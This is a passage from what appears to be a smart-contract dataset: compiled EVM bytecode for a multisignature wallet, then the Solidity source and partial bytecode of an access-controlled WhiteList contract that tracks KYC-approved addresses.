0910390f35b341561075a57600080fd5b610762611866565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b61186b565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b005b341561080457600080fd5b61081a6004808035906020019091905050611b88565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611f5d565b506003805490506004541115610aaf57610aae6003805490506115b0565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610beb57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7957838015610d2d575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d605750828015610d5f575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6c576001820191505b8080600101915050610cf6565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e1457600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b60016003805490500160045460328211158015610e585750818111155b8015610e65575060008114155b8015610e72575060008214155b1515610e7d57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ee99190611f89565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561106057600160008581526020019081526020016000206000600383815481101515610fc057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611040576001820191505b6004548214156110535760019250611061565b8080600101915050610f8f565b5b5050919050565b600080600090505b60038054905081101561112e576001600084815260200190815260200160002060006003838154811015156110a157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611121576001820191505b8080600101915050611070565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611198611fb5565b600380548060200260200160405190810160405280929190818152602001828054801561121a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d0575b5050505050905090565b61122c611fc9565b611234611fc9565b6000806005546040518059106112475750595b9080825280602002602001820160405250925060009150600090505b6005548110156113035785801561129a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112cd57508480156112cc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112f6578083838151811015156112e157fe5b90602001906020020181815250506001820191505b8080600101915050611263565b8787036040518059106113135750595b908082528060200260200182016040525093508790505b8681101561137557828181518110151561134057fe5b906020019060200201518489830381518110151561135a57fe5b9060200190602002018181525050808060010191505061132a565b505050949350505050565b611388611fb5565b611390611fb5565b6000806003805490506040518059106113a65750595b9080825280602002602001820160405250925060009150600090505b600380549050811015611505576001600086815260200190815260200160002060006003838154811015156113f357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f85760038181548110151561147b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114b557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113c2565b816040518059106115135750595b90808252806020026020018201604052509350600090505b818110156115a257828181518110151561154157fe5b90602001906020020151848281518110151561155957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061152b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ea57600080fd5b60038054905081603282111580156116025750818111155b801561160f575060008114155b801561161c575060008214155b151561162757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116c357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561171f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561178b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361184085611b88565b5050505050565b6000611854848484611e0b565b905061185f8161166a565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ad57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561190657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561196057600080fd5b600092505b600380549050831015611a4b578473ffffffffffffffffffffffffffffffffffffffff1660038481548110151561199857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a3e57836003848154811015156119f057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a4b565b8280600101935050611965565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611be357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c4e57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611c7e57600080fd5b611c8786610f82565b15611e0357600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d665780601f10611d3b57610100808354040283529160200191611d66565b820191906000526020600020905b815481529060010190602001808311611d4957829003601f168201915b505091505060006040518083038185876187965a03f19250505015611db757857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e02565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e3457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611ef3929190611fdd565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611f8457818360005260206000209182019101611f83919061205d565b5b505050565b815481835581811511611fb057818360005260206000209182019101611faf919061205d565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061201e57805160ff191683800117855561204c565b8280016001018555821561204c579182015b8281111561204b578251825591602001919060010190612030565b5b509050612059919061205d565b5090565b61207f91905b8082111561207b576000816000905550600101612063565b5090565b905600a165627a7a723058205b5d022e8b330421b577d7223ced0ffe4a95511532723f50750ad24319f08a950029
{"success": true, "error": null, "results": {}}
1,240
0xf4e08209c1dac1677d824e654ea8e535c42d565e
pragma solidity =0.8.0; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } /** * @title Whitelist * @dev this contract enables whitelisting of users. */ contract WhiteList is AccessControl{ mapping (address => bool) private _isWhitelisted; // white listed flag uint public totalWhiteListed; // white listed users number address[] public holdersIndex; // iterable index of holders event AdddWhitelisted(address indexed user); event RemovedWhitelisted(address indexed user); // Create a new role identifier for the controller role bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE"); modifier isController { require(hasRole(CONTROLLER_ROLE, msg.sender), "Whitelist::isController - Caller is not a controller"); _; } constructor () { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** * @dev Add an account to the whitelist, * @param user The address of the investor */ function addWhitelisted(address user) external isController() { _addWhitelisted(user); } /** * @notice This function allows to whitelist investors in batch * with control of number of iterations * @param users The accounts to be whitelisted in batch */ function addWhitelistedMultiple(address[] calldata users) external isController() { uint256 length = users.length; require(length <= 256, "Whitelist-addWhitelistedMultiple: List too long"); for (uint256 i = 0; i < length; i++) { _addWhitelisted(users[i]); } } /** * @notice Remove an account from the whitelist, calling the corresponding internal * function * @param user The address of the investor that needs to be removed */ function removeWhitelisted(address user) external isController() { _removeWhitelisted(user); } /** * @notice This function allows to whitelist investors in batch * with control of number of iterations * @param users The accounts to be whitelisted in batch */ function removeWhitelistedMultiple(address[] calldata users) external isController() { uint256 length = users.length; require(length <= 256, "Whitelist-removeWhitelistedMultiple: List too long"); for (uint256 i = 0; i < length; i++) { _removeWhitelisted(users[i]); } } /** * @notice Check if an account is whitelisted or not * @param user The account to be checked * @return true if the account is whitelisted. Otherwise, false. */ function isWhitelisted(address user) public view returns (bool) { return _isWhitelisted[user]; } /** * @notice Add an investor to the whitelist * @param user The address of the investor that has successfully passed KYC */ function _addWhitelisted(address user) internal { require(user != address(0), "WhiteList:_addWhiteList - Not a valid address"); require(_isWhitelisted[user] == false, "Whitelist-_addWhitelisted: account already whitelisted"); _isWhitelisted[user] = true; totalWhiteListed++; holdersIndex.push(user); emit AdddWhitelisted(user); } /** * @notice Remove an investor from the whitelist * @param user The address of the investor that needs to be removed */ function _removeWhitelisted(address user) internal { require(user != address(0), "WhiteList:_removeWhitelisted - Not a valid address"); require(_isWhitelisted[user] == true, "Whitelist-_removeWhitelisted: account was not whitelisted"); _isWhitelisted[user] = false; totalWhiteListed--; emit RemovedWhitelisted(user); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806336568abe11610097578063a07b206f11610066578063a07b206f14610294578063a217fddf146102b2578063c669d8b7146102d0578063d547741f146102ec576100f5565b806336568abe146101fc5780633af32abf1461021857806369c7c20e1461024857806391d1485414610264576100f5565b8063248a9ca3116100d3578063248a9ca314610164578063291d9549146101945780632a14a9da146101b05780632f2ff15d146101e0576100f5565b806301ffc9a7146100fa578063092c5b3b1461012a57806310154bad14610148575b600080fd5b610114600480360381019061010f91906113ff565b610308565b604051610121919061193c565b60405180910390f35b610132610382565b60405161013f9190611957565b60405180910390f35b610162600480360381019061015d919061132c565b6103a6565b005b61017e6004803603810190610179919061139a565b61041b565b60405161018b9190611957565b60405180910390f35b6101ae60048036038101906101a9919061132c565b61043a565b005b6101ca60048036038101906101c59190611428565b6104af565b6040516101d79190611921565b60405180910390f35b6101fa60048036038101906101f591906113c3565b6104ee565b005b610216600480360381019061021191906113c3565b610517565b005b610232600480360381019061022d919061132c565b61059a565b60405161023f919061193c565b60405180910390f35b610262600480360381019061025d9190611355565b6105f0565b005b61027e600480360381019061027991906113c3565b610720565b60405161028b919061193c565b60405180910390f35b61029c61078a565b6040516102a99190611ab4565b60405180910390f35b6102ba610790565b6040516102c79190611957565b60405180910390f35b6102ea60048036038101906102e59190611355565b610797565b005b610306600480360381019061030191906113c3565b6108c7565b005b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061037b575061037a826108f0565b5b9050919050565b7f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335781565b6103d07f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b61040f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610406906119f4565b60405180910390fd5b6104188161095a565b50565b6000806000838152602001908152602001600020600101549050919050565b6104647f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b6104a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049a906119f4565b60405180910390fd5b6104ac81610b75565b50565b600381815481106104bf57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104f78261041b565b61050881610503610d2e565b610d36565b6105128383610dd3565b505050565b61051f610d2e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058390611a94565b60405180910390fd5b6105968282610eb3565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61061a7f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b610659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610650906119f4565b60405180910390fd5b60008282905090506101008111156106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d906119b4565b60405180910390fd5b60005b8181101561071a576107078484838181106106ed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610702919061132c565b61095a565b808061071290611c81565b9150506106a9565b50505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60025481565b6000801b81565b6107c17f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b610800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f7906119f4565b60405180910390fd5b600082829050905061010081111561084d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084490611a74565b60405180910390fd5b60005b818110156108c1576108ae848483818110610894577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906108a9919061132c565b610b75565b80806108b990611c81565b915050610850565b50505050565b6108d08261041b565b6108e1816108dc610d2e565b610d36565b6108eb8383610eb3565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906119d4565b60405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5490611a54565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060026000815480929190610ac790611c81565b91905055506003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fcf1cca3d6456f2268db1b80986d584a1702c8c6acdd26fd41ce29f44a19fc2cd60405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90611a34565b60405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6f90611a14565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060026000815480929190610ce390611c57565b91905055508073ffffffffffffffffffffffffffffffffffffffff167fb4b1b6e4ef298ce17f0c4f14828a249dec837a6146d1ceae313c808d47cbe86360405160405180910390a250565b600033905090565b610d408282610720565b610dcf57610d658173ffffffffffffffffffffffffffffffffffffffff166014610f94565b610d738360001c6020610f94565b604051602001610d849291906118e7565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69190611972565b60405180910390fd5b5050565b610ddd8282610720565b610eaf57600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e54610d2e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b610ebd8282610720565b15610f9057600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f35610d2e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b606060006002836002610fa79190611b4c565b610fb19190611af6565b67ffffffffffffffff811115610ff0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156110225781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611080577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061110a577f4e487b71000000000000000000000000000000000000000000000000000000006000526032600452602